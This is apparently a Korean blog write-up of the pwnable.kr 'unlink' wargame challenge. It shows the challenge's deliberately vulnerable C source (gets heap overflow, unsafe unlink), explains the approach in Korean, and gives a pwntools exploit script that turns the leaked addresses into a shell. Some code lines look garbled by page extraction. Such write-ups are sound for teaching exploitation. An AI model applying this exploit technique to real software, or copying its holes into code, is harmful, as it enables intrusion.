본문 바로가기

Wargame/▷ pwnable.kr

[pwnable.kr] unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
cs

gets 에서 오버플로우가 일어나므로 unlink 함수를 통해 페이로드를 작성할 수 있다.

사실 처음에는 return address 랑 shell 함수 주소랑 shuffle 해서 시도해봤는데 ret에는 shell 주소가 잘 덮이지만 shell 주소는 코드영역 이므로 write 권한이 없어서 실패했다.

문제에서 괜히 heap address를 주는게 아니라고 생각하고 return address를 heap으로 돌려서 주소계산 해주는 식으로 익스를 작성하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process('./unlink')
= ELF('./unlink')
 
shell = 0x80484eb
 
p.recvuntil('leak: ')
stack = int(p.recvuntil('\n').split('\n')[0], 16+ 0x10
p.recvuntil('leak: ')
heap = int(p.recvuntil('\n').split('\n')[0], 16+ 0xc
p.recv(1024)
 
print hex(stack)
print hex(heap)
 
payload = p32(shell)
payload += 'A'*12
payload += p32(heap)
payload += p32(stack)
 
p.sendline(payload)
p.interactive()
cs


'Wargame > ▷ pwnable.kr' 카테고리의 다른 글

[pwnable.kr] echo1  (0) 2018.07.20
[pwnable.kr] brain fuck  (0) 2018.07.20
[pwnable.kr] unexploitable  (0) 2018.07.08
[pwnable.kr] Dragon  (0) 2018.07.08
[pwnable.kr] simple login  (0) 2018.07.08